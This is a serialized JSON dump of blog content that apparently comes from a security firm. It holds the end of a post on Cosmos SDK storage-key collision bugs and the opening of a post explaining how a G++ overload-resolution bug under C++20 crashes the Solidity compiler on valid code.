1",{"type":26,"value":52},{"type":21,"tag":78,"props":91517,"children":91519},{"className":91518},[],[91520],{"type":26,"value":91521},"vaultId = 10",{"type":26,"value":91523}," coexist. If we try to fetch data under ",{"type":21,"tag":78,"props":91525,"children":91527},{"className":91526},[],[91528],{"type":26,"value":91514},{"type":26,"value":91530},", all entries under ",{"type":21,"tag":78,"props":91532,"children":91534},{"className":91533},[],[91535],{"type":26,"value":91521},{"type":26,"value":91537}," will also be returned simply because ",{"type":21,"tag":78,"props":91539,"children":91541},{"className":91540},[],[91542],{"type":26,"value":3033},{"type":26,"value":91544}," is a prefix of ",{"type":21,"tag":78,"props":91546,"children":91548},{"className":91547},[],[91549],{"type":26,"value":91550},"10",{"type":26,"value":91552},". To fix this, we must once again append the ",{"type":21,"tag":78,"props":91554,"children":91556},{"className":91555},[],[91557],{"type":26,"value":91558},"Separator",{"type":26,"value":91560}," to the iterator prefix.",{"type":21,"tag":143,"props":91562,"children":91564},{"code":91563,"language":78461,"meta":7,"className":78462,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[91565],{"type":21,"tag":78,"props":91566,"children":91567},{"__ignoreMap":7},[91568,91595,91607,91660],{"type":21,"tag":153,"props":91569,"children":91570},{"class":155,"line":156},[91571,91575,91579,91583,91587,91591],{"type":21,"tag":153,"props":91572,"children":91573},{"style":192},[91574],{"type":26,"value":6471},{"type":21,"tag":153,"props":91576,"children":91577},{"style":198},[91578],{"type":26,"value":78713},{"type":21,"tag":153,"props":91580,"children":91581},{"style":192},[91582],{"type":26,"value":80938},{"type":21,"tag":153,"props":91584,"children":91585},{"style":160},[91586],{"type":26,"value":355},{"type":21,"tag":153,"props":91588,"children":91589},{"style":181},[91590],{"type":26,"value":90753},{"type":21,"tag":153,"props":91592,"children":91593},{"style":160},[91594],{"type":26,"value":773},{"type":21,"tag":153,"props":91596,"children":91597},{"class":155,"line":166},[91598,91603],{"type":21,"tag":153,"props":91599,"children":91600},{"style":192},[91601],{"type":26,"value":91602},"    kvStore",{"type":21,"tag":153,"props":91604,"children":91605},{"style":160},[91606],{"type":26,"value":792},{"type":21,"tag":153,"props":91608,"children":91609},{"class":155,"line":225},[91610,91615,91619,91623,91627,91632,91636,91640,91644,91648,91652,91656],{"type":21,"tag":153,"props":91611,"children":91612},{"style":192},[91613],{"type":26,"value":91614},"    fmt",{"type":21,"tag":153,"props":91616,"children":91617},{"style":160},[91618],{"type":26,"value":355},{"type":21,"tag":153,"props":91620,"children":91621},{"style":181},[91622],{"type":26,"value":87520},{"type":21,"tag":153,"props":91624,"children":91625},{"style":160},[91626],{"type":26,"value":189},{"type":21,"tag":153,"props":91628,"children":91629},{"style":671},[91630],{"type":26,"value":91631},"\"%s%d%s\"",{"type":21,"tag":153,"props":91633,"children":91634},{"style":160},[91635],{"type":26,"value":1670},{"type":21,"tag":153,"props":91637,"children":91638},{"style":192},[91639],{"type":26,"value":90803},{"type":21,"tag":153,"props":91641,"children":91642},{"style":160},[91643],{"type":26,"value":1670},{"type":21,"tag":153,"props":91645,"children":91646},{"style":192},[91647],{"type":26,"value":90588},{"type":21,"tag":153,"props":91649,"children":91650},{"style":160},[91651],{"type":26,"value":1670},{"type":21,"tag":153,"props":91653,"children":91654},{"style":192},[91655],{"type":26,"value":90919},{"type":21,"tag":153,"props":91657,"children":91658},{"style":160},[91659],{"type":26,"value":679},{"type":21,"tag":153,"props":91661,"children":91662},{"class":155,"line":239},[91663],{"type":21,"tag":153,"props":91664,"children":91665},{"style":160},[91666],{"type":26,"value":5909},{"type":21,"tag":22,"props":91668,"children":91669},{},[91670,91672,91677],{"type":26,"value":91671},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":21,"tag":78,"props":91673,"children":91675},{"className":91674},[],[91676],{"type":26,"value":87274},{"type":26,"value":91678}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":21,"tag":22,"props":91680,"children":91681},{},[91682],{"type":26,"value":91683},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":21,"tag":114,"props":91685,"children":91687},{"id":91686},"real-world-examples-5",[91688],{"type":26,"value":78986},{"type":21,"tag":22,"props":91690,"children":91691},{},[91692,91693,91698,91700,91707,91709,91715],{"type":26,"value":19311},{"type":21,"tag":78,"props":91694,"children":91696},{"className":91695},[],[91697],{"type":26,"value":80759},{"type":26,"value":91699}," previously lacked protection against KVStore ",{"type":21,"tag":29,"props":91701,"children":91704},{"href":91702,"rel":91703},"https://github.com/cosmos/cosmos-sdk/pull/9363",[33],[91705],{"type":26,"value":91706},"key collisions",{"type":26,"value":91708},". This prior oversight allowed developers to unintentionally create two ",{"type":21,"tag":78,"props":91710,"children":91712},{"className":91711},[],[91713],{"type":26,"value":91714},"KVStores",{"type":26,"value":91716}," that were not independent of each other.",{"type":21,"tag":22,"props":91718,"children":91719},{},[91720],{"type":21,"tag":29,"props":91721,"children":91724},{"href":91722,"rel":91723},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[33],[91725],{"type":26,"value":79036},{"type":21,"tag":143,"props":91727,"children":91729},{"code":91728,"language":78461,"meta":7,"className":78462,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[91730],{"type":21,"tag":78,"props":91731,"children":91732},{"__ignoreMap":7},[91733,91795,91843,91879,91919,91926,91933,91945],{"type":21,"tag":153,"props":91734,"children":91735},{"class":155,"line":156},[91736,91740,91745,91749,91754,91758,91762,91766,91770,91774,91778,91782,91786,91791],{"type":21,"tag":153,"props":91737,"children":91738},{"style":170},[91739],{"type":26,"value":78597},{"type":21,"tag":153,"props":91741,"children":91742},{"style":181},[91743],{"type":26,"value":91744}," NewKVStoreKeys",{"type":21,"tag":153,"props":91746,"children":91747},{"style":160},[91748],{"type":26,"value":189},{"type":21,"tag":153,"props":91750,"children":91751},{"style":192},[91752],{"type":26,"value":91753},"names",{"type":21,"tag":153,"props":91755,"children":91756},{"style":198},[91757],{"type":26,"value":27997},{"type":21,"tag":153,"props":91759,"children":91760},{"style":214},[91761],{"type":26,"value":32361},{"type":21,"tag":153,"props":91763,"children":91764},{"style":160},[91765],{"type":26,"value":2362},{"type":21,"tag":153,"props":91767,"children":91768},{"style":170},[91769],{"type":26,"value":69396},{"type":21,"tag":153,"props":91771,"children":91772},{"style":160},[91773],{"type":26,"value":211},{"type":21,"tag":153,"props":91775,"children":91776},{"style":214},[91777],{"type":26,"value":32361},{"type":21,"tag":153,"props":91779,"children":91780},{"style":160},[91781],{"type":26,"value":350},{"type":21,"tag":153,"props":91783,"children":91784},{"style":198},[91785],{"type":26,"value":313},{"type":21,"tag":153,"props":91787,"children":91788},{"style":214},[91789],{"type":26,"value":91790},"KVStoreKey",{"type":21,"tag":153,"props":91792,"children":91793},{"style":160},[91794],{"type":26,"value":236},{"type":21,"tag":153,"props":91796,"children":91797},{"class":155,"line":166},[91798,91803,91807,91811,91815,91819,91823,91827,91831,91835,91839],{"type":21,"tag":153,"props":91799,"children":91800},{"style":192},[91801],{"type":26,"value":91802},"    keys",{"type":21,"tag":153,"props":91804,"children":91805},{"style":198},[91806],{"type":26,"value":78713},{"type":21,"tag":153,"props":91808,"children":91809},{"style":181},[91810],{"type":26,"value":87861},{"type":21,"tag":153,"props":91812,"children":91813},{"style":160},[91814],{"type":26,"value":189},{"type":21,"tag":153,"props":91816,"children":91817},{"style":170},[91818],{"type":26,"value":69396},{"type":21,"tag":153,"props":91820,"children":91821},{"style":160},[91822],{"type":26,"value":211},{"type":21,"tag":153,"props":91824,"children":91825},{"style":214},[91826],{"type":26,"value":32361},{"type":21,"tag":153,"props":91828,"children":91829},{"style":160},[91830],{"type":26,"value":350},{"type":21,"tag":153,"props":91832,"children":91833},{"style":198},[91834],{"type":26,"value":313},{"type":21,"tag":153,"props":91836,"children":91837},{"style":214},[91838],{"type":26,"value":91790},{"type":21,"tag":153,"props":91840,"children":91841},{"style":160},[91842],{"type":26,"value":5909},{"type":21,"tag":153,"props":91844,"children":91845},{"class":155,"line":225},[91846,91850,91854,91858,91862,91866,91870,91875],{"type":21,"tag":153,"props":91847,"children":91848},{"style":1751},[91849],{"type":26,"value":5784},{"type":21,"tag":153,"props":91851,"children":91852},{"style":192},[91853],{"type":26,"value":5789},{"type":21,"tag":153,"props":91855,"children":91856},{"style":160},[91857],{"type":26,"value":1670},{"type":21,"tag":153,"props":91859,"children":91860},{"style":192},[91861],{"type":26,"value":50788},{"type":21,"tag":153,"props":91863,"children":91864},{"style":198},[91865],{"type":26,"value":78713},{"type":21,"tag":153,"props":91867,"children":91868},{"style":1751},[91869],{"type":26,"value":79696},{"type":21,"tag":153,"props":91871,"children":91872},{"style":192},[91873],{"type":26,"value":91874}," names",{"type":21,"tag":153,"props":91876,"children":91877},{"style":160},[91878],{"type":26,"value":236},{"type":21,"tag":153,"props":91880,"children":91881},{"class":155,"line":239},[91882,91886,91890,91894,91898,91902,91907,91911,91915],{"type":21,"tag":153,"props":91883,"children":91884},{"style":192},[91885],{"type":26,"value":28029},{"type":21,"tag":153,"props":91887,"children":91888},{"style":160},[91889],{"type":26,"value":211},{"type":21,"tag":153,"props":91891,"children":91892},{"style":192},[91893],{"type":26,"value":50788},{"type":21,"tag":153,"props":91895,"children":91896},{"style":160},[91897],{"type":26,"value":11387},{"type":21,"tag":153,"props":91899,"children":91900},{"style":198},[91901],{"type":26,"value":2367},{"type":21,"tag":153,"props":91903,"children":91904},{"style":181},[91905],{"type":26,"value":91906}," NewKVStoreKey",{"type":21,"tag":153,"props":91908,"children":91909},{"style":160},[91910],{"type":26,"value":189},{"type":21,"tag":153,"props":91912,"children":91913},{"style":192},[91914],{"type":26,"value":50788},{"type":21,"tag":153,"props":91916,"children":91917},{"style":160},[91918],{"type":26,"value":5909},{"type":21,"tag":153,"props":91920,"children":91921},{"class":155,"line":382},[91922],{"type":21,"tag":153,"props":91923,"children":91924},{"style":160},[91925],{"type":26,"value":539},{"type":21,"tag":153,"props":91927,"children":91928},{"class":155,"line":501},[91929],{"type":21,"tag":153,"props":91930,"children":91931},{"emptyLinePlaceholder":16},[91932],{"type":26,"value":759},{"type":21,"tag":153,"props":91934,"children":91935},{"class":155,"line":533},[91936,91940],{"type":21,"tag":153,"props":91937,"children":91938},{"style":1751},[91939],{"type":26,"value":19687},{"type":21,"tag":153,"props":91941,"children":91942},{"style":192},[91943],{"type":26,"value":91944}," keys\n",{"type":21,"tag":153,"props":91946,"children":91947},{"class":155,"line":542},[91948],{"type":21,"tag":153,"props":91949,"children":91950},{"style":160},[91951],{"type":26,"value":548},{"type":21,"tag":22,"props":91953,"children":91954},{},[91955,91957,91962,91964,91969,91971,91976],{"type":26,"value":91956},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":21,"tag":78,"props":91958,"children":91960},{"className":91959},[],[91961],{"type":26,"value":80759},{"type":26,"value":91963}," will refuse to run if any ",{"type":21,"tag":78,"props":91965,"children":91967},{"className":91966},[],[91968],{"type":26,"value":87274},{"type":26,"value":91970}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":21,"tag":78,"props":91972,"children":91974},{"className":91973},[],[91975],{"type":26,"value":87274},{"type":26,"value":91977}," level.",{"type":21,"tag":22,"props":91979,"children":91980},{},[91981,91983,91990],{"type":26,"value":91982},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":21,"tag":29,"props":91984,"children":91987},{"href":91985,"rel":91986},"https://github.com/cosmos/cosmos-sdk/issues/12661",[33],[91988],{"type":26,"value":91989},"incorrect iterator behavior",{"type":26,"value":355},{"type":21,"tag":22,"props":91992,"children":91993},{},[91994,91996,92003],{"type":26,"value":91995},"Notably, gradual adoption of the ",{"type":21,"tag":29,"props":91997,"children":92000},{"href":91998,"rel":91999},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[33],[92001],{"type":26,"value":92002},"collections",{"type":26,"value":92004}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":21,"tag":66,"props":92006,"children":92007},{"id":5568},[92008],{"type":26,"value":5571},{"type":21,"tag":22,"props":92010,"children":92011},{},[92012],{"type":26,"value":92013},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":21,"tag":22,"props":92015,"children":92016},{},[92017],{"type":26,"value":92018},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":21,"tag":5603,"props":92020,"children":92021},{},[92022],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":92024},[92025,92026,92029,92032,92035,92038,92041,92044],{"id":31710,"depth":166,"text":31713},{"id":78178,"depth":166,"text":78181,"children":92027},[92028],{"id":78983,"depth":225,"text":78986},{"id":79579,"depth":166,"text":79582,"children":92030},[92031],{"id":80228,"depth":225,"text":78986},{"id":80725,"depth":166,"text":80728,"children":92033},[92034],{"id":82025,"depth":225,"text":78986},{"id":83369,"depth":166,"text":83372,"children":92036},[92037],{"id":83907,"depth":225,"text":78986},{"id":85426,"depth":166,"text":85429,"children":92039},[92040],{"id":86306,"depth":225,"text":78986},{"id":87260,"depth":166,"text":87263,"children":92042},[92043],{"id":91686,"depth":225,"text":78986},{"id":5568,"depth":166,"text":5571},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":92049,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92050,"description":92051,"author":92052,"image":92053,"date":92055,"tags":92056,"isFeatured":16,"onBlogPage":16,"body":92057,"_type":5619,"_id":94766,"_source":5621,"_file":94767,"_stem":94768,"_extension":5624},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":92054,"height":16340,"width":16340},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[7204,31705],{"type":18,"children":92058,"toc":94750},[92059,92064,92201,92206,92211,92216,92221,92334,92339,92344,92349,92389,92402,92407,92425,92430,92433,92439,92453,92466,92471,92484,92489,92501,92514,92519,92522,92528,92534,92591,92596,92602,92616,92651,92659,92667,92687,92693,92698,93138,93146,93190,93195,93203,93211,93250,93255,93263,93268,93271,93277,93283,93308,93320,93347,93380,93385,93388,93394,93413,93931,93944,93962,93985,93996,94001,94104,94109,94114,94128,94133,94209,94227,94232,94235,94241,94253,94265,94605,94610,94628,94633,94636,94642,94647,94665,94685,94688,94694,94713,94716,94720,94725,94736,94741,94746],{"type":21,"tag":22,"props":92060,"children":92061},{},[92062],{"type":26,"value":92063},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":21,"tag":143,"props":92065,"children":92067},{"code":92066,"language":7204,"meta":7,"className":7205,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[92068],{"type":21,"tag":78,"props":92069,"children":92070},{"__ignoreMap":7},[92071,92079,92097,92104,92121,92163,92187,92194],{"type":21,"tag":153,"props":92072,"children":92073},{"class":155,"line":156},[92074],{"type":21,"tag":153,"props":92075,"children":92076},{"style":3050},[92077],{"type":26,"value":92078},"// SPDX-License-Identifier: UNLICENSED\n",{"type":21,"tag":153,"props":92080,"children":92081},{"class":155,"line":166},[92082,92087,92092],{"type":21,"tag":153,"props":92083,"children":92084},{"style":1751},[92085],{"type":26,"value":92086},"pragma",{"type":21,"tag":153,"props":92088,"children":92089},{"style":170},[92090],{"type":26,"value":92091}," solidity",{"type":21,"tag":153,"props":92093,"children":92094},{"style":160},[92095],{"type":26,"value":92096}," ^0.8.25;\n",{"type":21,"tag":153,"props":92098,"children":92099},{"class":155,"line":225},[92100],{"type":21,"tag":153,"props":92101,"children":92102},{"emptyLinePlaceholder":16},[92103],{"type":26,"value":759},{"type":21,"tag":153,"props":92105,"children":92106},{"class":155,"line":239},[92107,92112,92117],{"type":21,"tag":153,"props":92108,"children":92109},{"style":170},[92110],{"type":26,"value":92111},"contract",{"type":21,"tag":153,"props":92113,"children":92114},{"style":214},[92115],{"type":26,"value":92116}," A",{"type":21,"tag":153,"props":92118,"children":92119},{"style":160},[92120],{"type":26,"value":236},{"type":21,"tag":153,"props":92122,"children":92123},{"class":155,"line":382},[92124,92129,92134,92138,92142,92147,92151,92155,92159],{"type":21,"tag":153,"props":92125,"children":92126},{"style":170},[92127],{"type":26,"value":92128},"    function",{"type":21,"tag":153,"props":92130,"children":92131},{"style":181},[92132],{"type":26,"value":92133}," a",{"type":21,"tag":153,"props":92135,"children":92136},{"style":160},[92137],{"type":26,"value":2461},{"type":21,"tag":153,"props":92139,"children":92140},{"style":170},[92141],{"type":26,"value":63968},{"type":21,"tag":153,"props":92143,"children":92144},{"style":170},[92145],{"type":26,"value":92146}," pure",{"type":21,"tag":153,"props":92148,"children":92149},{"style":1751},[92150],{"type":26,"value":78290},{"type":21,"tag":153,"props":92152,"children":92153},{"style":160},[92154],{"type":26,"value":5820},{"type":21,"tag":153,"props":92156,"children":92157},{"style":214},[92158],{"type":26,"value":48457},{"type":21,"tag":153,"props":92160,"children":92161},{"style":160},[92162],{"type":26,"value":2659},{"type":21,"tag":153,"props":92164,"children":92165},{"class":155,"line":501},[92166,92170,92174,92179,92183],{"type":21,"tag":153,"props":92167,"children":92168},{"style":1751},[92169],{"type":26,"value":18441},{"type":21,"tag":153,"props":92171,"children":92172},{"style":300},[92173],{"type":26,"value":7253},{"type":21,"tag":153,"props":92175,"children":92176},{"style":198},[92177],{"type":26,"value":92178}," **",{"type":21,"tag":153,"props":92180,"children":92181},{"style":300},[92182],{"type":26,"value":10661},{"type":21,"tag":153,"props":92184,"children":92185},{"style":160},[92186],{"type":26,"value":1759},{"type":21,"tag":153,"props":92188,"children":92189},{"class":155,"line":533},[92190],{"type":21,"tag":153,"props":92191,"children":92192},{"style":160},[92193],{"type":26,"value":539},{"type":21,"tag":153,"props":92195,"children":92196},{"class":155,"line":542},[92197],{"type":21,"tag":153,"props":92198,"children":92199},{"style":160},[92200],{"type":26,"value":548},{"type":21,"tag":22,"props":92202,"children":92203},{},[92204],{"type":26,"value":92205},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":21,"tag":22,"props":92207,"children":92208},{},[92209],{"type":26,"value":92210},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":21,"tag":22,"props":92212,"children":92213},{},[92214],{"type":26,"value":92215},"And yet, it crashes.",{"type":21,"tag":22,"props":92217,"children":92218},{},[92219],{"type":26,"value":92220},"Another minimal example?",{"type":21,"tag":143,"props":92222,"children":92224},{"code":92223,"language":7204,"meta":7,"className":7205,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[92225],{"type":21,"tag":78,"props":92226,"children":92227},{"__ignoreMap":7},[92228,92235,92250,92257,92272,92299,92320,92327],{"type":21,"tag":153,"props":92229,"children":92230},{"class":155,"line":156},[92231],{"type":21,"tag":153,"props":92232,"children":92233},{"style":3050},[92234],{"type":26,"value":92078},{"type":21,"tag":153,"props":92236,"children":92237},{"class":155,"line":166},[92238,92242,92246],{"type":21,"tag":153,"props":92239,"children":92240},{"style":1751},[92241],{"type":26,"value":92086},{"type":21,"tag":153,"props":92243,"children":92244},{"style":170},[92245],{"type":26,"value":92091},{"type":21,"tag":153,"props":92247,"children":92248},{"style":160},[92249],{"type":26,"value":92096},{"type":21,"tag":153,"props":92251,"children":92252},{"class":155,"line":225},[92253],{"type":21,"tag":153,"props":92254,"children":92255},{"emptyLinePlaceholder":16},[92256],{"type":26,"value":759},{"type":21,"tag":153,"props":92258,"children":92259},{"class":155,"line":239},[92260,92264,92268],{"type":21,"tag":153,"props":92261,"children":92262},{"style":170},[92263],{"type":26,"value":92111},{"type":21,"tag":153,"props":92265,"children":92266},{"style":214},[92267],{"type":26,"value":92116},{"type":21,"tag":153,"props":92269,"children":92270},{"style":160},[92271],{"type":26,"value":236},{"type":21,"tag":153,"props":92273,"children":92274},{"class":155,"line":382},[92275,92279,92283,92287,92291,92295],{"type":21,"tag":153,"props":92276,"children":92277},{"style":170},[92278],{"type":26,"value":92128},{"type":21,"tag":153,"props":92280,"children":92281},{"style":181},[92282],{"type":26,"value":92133},{"type":21,"tag":153,"props":92284,"children":92285},{"style":160},[92286],{"type":26,"value":2461},{"type":21,"tag":153,"props":92288,"children":92289},{"style":170},[92290],{"type":26,"value":63968},{"type":21,"tag":153,"props":92292,"children":92293},{"style":170},[92294],{"type":26,"value":92146},{"type":21,"tag":153,"props":92296,"children":92297},{"style":160},[92298],{"type":26,"value":236},{"type":21,"tag":153,"props":92300,"children":92301},{"class":155,"line":501},[92302,92307,92311,92315],{"type":21,"tag":153,"props":92303,"children":92304},{"style":214},[92305],{"type":26,"value":92306},"        uint256",{"type":21,"tag":153,"props":92308,"children":92309},{"style":160},[92310],{"type":26,"value":211},{"type":21,"tag":153,"props":92312,"children":92313},{"style":300},[92314],{"type":26,"value":3033},{"type":21,"tag":153,"props":92316,"children":92317},{"style":160},[92318],{"type":26,"value":92319},"] data;\n",{"type":21,"tag":153,"props":92321,"children":92322},{"class":155,"line":533},[92323],{"type":21,"tag":153,"props":92324,"children":92325},{"style":160},[92326],{"type":26,"value":539},{"type":21,"tag":153,"props":92328,"children":92329},{"class":155,"line":542},[92330],{"type":21,"tag":153,"props":92331,"children":92332},{"style":160},[92333],{"type":26,"value":548},{"type":21,"tag":22,"props":92335,"children":92336},{},[92337],{"type":26,"value":92338},"Still crashes.",{"type":21,"tag":22,"props":92340,"children":92341},{},[92342],{"type":26,"value":92343},"So what’s going on?",{"type":21,"tag":22,"props":92345,"children":92346},{},[92347],{"type":26,"value":92348},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":21,"tag":143,"props":92350,"children":92352},{"code":92351,"language":31807,"meta":7,"className":31805,"style":7},"if (*lengthValue == 0) { ... }\n",[92353],{"type":21,"tag":78,"props":92354,"children":92355},{"__ignoreMap":7},[92356],{"type":21,"tag":153,"props":92357,"children":92358},{"class":155,"line":156},[92359,92363,92367,92371,92376,92380,92384],{"type":21,"tag":153,"props":92360,"children":92361},{"style":1751},[92362],{"type":26,"value":2338},{"type":21,"tag":153,"props":92364,"children":92365},{"style":160},[92366],{"type":26,"value":5820},{"type":21,"tag":153,"props":92368,"children":92369},{"style":198},[92370],{"type":26,"value":313},{"type":21,"tag":153,"props":92372,"children":92373},{"style":160},[92374],{"type":26,"value":92375},"lengthValue ",{"type":21,"tag":153,"props":92377,"children":92378},{"style":198},[92379],{"type":26,"value":1694},{"type":21,"tag":153,"props":92381,"children":92382},{"style":300},[92383],{"type":26,"value":5799},{"type":21,"tag":153,"props":92385,"children":92386},{"style":160},[92387],{"type":26,"value":92388},") { ... }\n",{"type":21,"tag":22,"props":92390,"children":92391},{},[92392,92394,92400],{"type":26,"value":92393},"That single comparison — a ",{"type":21,"tag":78,"props":92395,"children":92397},{"className":92396},[],[92398],{"type":26,"value":92399},"boost::rational",{"type":26,"value":92401}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":21,"tag":22,"props":92403,"children":92404},{},[92405],{"type":26,"value":92406},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":21,"tag":87,"props":92408,"children":92409},{},[92410,92415,92420],{"type":21,"tag":91,"props":92411,"children":92412},{},[92413],{"type":26,"value":92414},"A 12-year-old overload resolution bug in G++",{"type":21,"tag":91,"props":92416,"children":92417},{},[92418],{"type":26,"value":92419},"An outdated symmetric comparison pattern in Boost",{"type":21,"tag":91,"props":92421,"children":92422},{},[92423],{"type":26,"value":92424},"A subtle but impactful rewrite rule in C++20",{"type":21,"tag":22,"props":92426,"children":92427},{},[92428],{"type":26,"value":92429},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":21,"tag":21491,"props":92431,"children":92432},{},[],{"type":21,"tag":66,"props":92434,"children":92436},{"id":92435},"background-the-setup",[92437],{"type":26,"value":92438},"Background: The Setup",{"type":21,"tag":22,"props":92440,"children":92441},{},[92442,92444,92451],{"type":26,"value":92443},"If you follow the ",{"type":21,"tag":29,"props":92445,"children":92448},{"href":92446,"rel":92447},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[33],[92449],{"type":26,"value":92450},"Solidity build documentation (v0.8.30)",{"type":26,"value":92452},", you'll see it recommends:",{"type":21,"tag":87,"props":92454,"children":92455},{},[92456,92461],{"type":21,"tag":91,"props":92457,"children":92458},{},[92459],{"type":26,"value":92460},"Boost ≥ 1.67",{"type":21,"tag":91,"props":92462,"children":92463},{},[92464],{"type":26,"value":92465},"GCC ≥ 11",{"type":21,"tag":22,"props":92467,"children":92468},{},[92469],{"type":26,"value":92470},"Ubuntu 22.04, for example, ships with:",{"type":21,"tag":87,"props":92472,"children":92473},{},[92474,92479],{"type":21,"tag":91,"props":92475,"children":92476},{},[92477],{"type":26,"value":92478},"G++ 11.4.0",{"type":21,"tag":91,"props":92480,"children":92481},{},[92482],{"type":26,"value":92483},"Boost 1.74.0",{"type":21,"tag":22,"props":92485,"children":92486},{},[92487],{"type":26,"value":92488},"So far, so good.",{"type":21,"tag":22,"props":92490,"children":92491},{},[92492,92494,92499],{"type":26,"value":92493},"However, Solidity enabled ",{"type":21,"tag":8055,"props":92495,"children":92496},{},[92497],{"type":26,"value":92498},"C++20",{"type":26,"value":92500}," in January 2025:",{"type":21,"tag":5689,"props":92502,"children":92503},{},[92504],{"type":21,"tag":22,"props":92505,"children":92506},{},[92507],{"type":21,"tag":29,"props":92508,"children":92511},{"href":92509,"rel":92510},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[33],[92512],{"type":26,"value":92513},"Enable C++20 in Solidity",{"type":21,"tag":22,"props":92515,"children":92516},{},[92517],{"type":26,"value":92518},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":21,"tag":21491,"props":92520,"children":92521},{},[],{"type":21,"tag":66,"props":92523,"children":92525},{"id":92524},"part-i-a-12-year-old-g-bug-in-overload-resolution",[92526],{"type":26,"value":92527},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":21,"tag":114,"props":92529,"children":92531},{"id":92530},"whats-overload-resolution",[92532],{"type":26,"value":92533},"What’s Overload Resolution?",{"type":21,"tag":22,"props":92535,"children":92536},{},[92537,92539,92545,92547,92553,92555,92560,92562,92567,92569,92575,92577,92582,92583,92589],{"type":26,"value":92538},"In C++, when you write an expression like ",{"type":21,"tag":78,"props":92540,"children":92542},{"className":92541},[],[92543],{"type":26,"value":92544},"a == b",{"type":26,"value":92546},", the compiler chooses among available ",{"type":21,"tag":78,"props":92548,"children":92550},{"className":92549},[],[92551],{"type":26,"value":92552},"operator==",{"type":26,"value":92554}," implementations by comparing their ",{"type":21,"tag":8055,"props":92556,"children":92557},{},[92558],{"type":26,"value":92559},"match quality",{"type":26,"value":92561},". A ",{"type":21,"tag":8055,"props":92563,"children":92564},{},[92565],{"type":26,"value":92566},"member function",{"type":26,"value":92568}," like ",{"type":21,"tag":78,"props":92570,"children":92572},{"className":92571},[],[92573],{"type":26,"value":92574},"a.operator==(b)",{"type":26,"value":92576}," usually has higher priority than a ",{"type":21,"tag":8055,"props":92578,"children":92579},{},[92580],{"type":26,"value":92581},"non-member function",{"type":26,"value":92568},{"type":21,"tag":78,"props":92584,"children":92586},{"className":92585},[],[92587],{"type":26,"value":92588},"operator==(a, b)",{"type":26,"value":92590}," — unless the types differ too much or are ambiguous.",{"type":21,"tag":22,"props":92592,"children":92593},{},[92594],{"type":26,"value":92595},"That’s the rule. But G++ didn’t always follow it.",{"type":21,"tag":114,"props":92597,"children":92599},{"id":92598},"the-bug",[92600],{"type":26,"value":92601},"The Bug",{"type":21,"tag":22,"props":92603,"children":92604},{},[92605,92607,92614],{"type":26,"value":92606},"In 2012, a bug was filed: ",{"type":21,"tag":29,"props":92608,"children":92611},{"href":92609,"rel":92610},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[33],[92612],{"type":26,"value":92613},"GCC Bug 53499 – overload resolution favors non-member function",{"type":26,"value":92615},". The issue? In expressions where:",{"type":21,"tag":87,"props":92617,"children":92618},{},[92619,92639],{"type":21,"tag":91,"props":92620,"children":92621},{},[92622,92624,92630,92632,92637],{"type":26,"value":92623},"A class ",{"type":21,"tag":78,"props":92625,"children":92627},{"className":92626},[],[92628],{"type":26,"value":92629},"rational\u003CT>",{"type":26,"value":92631}," has a templated 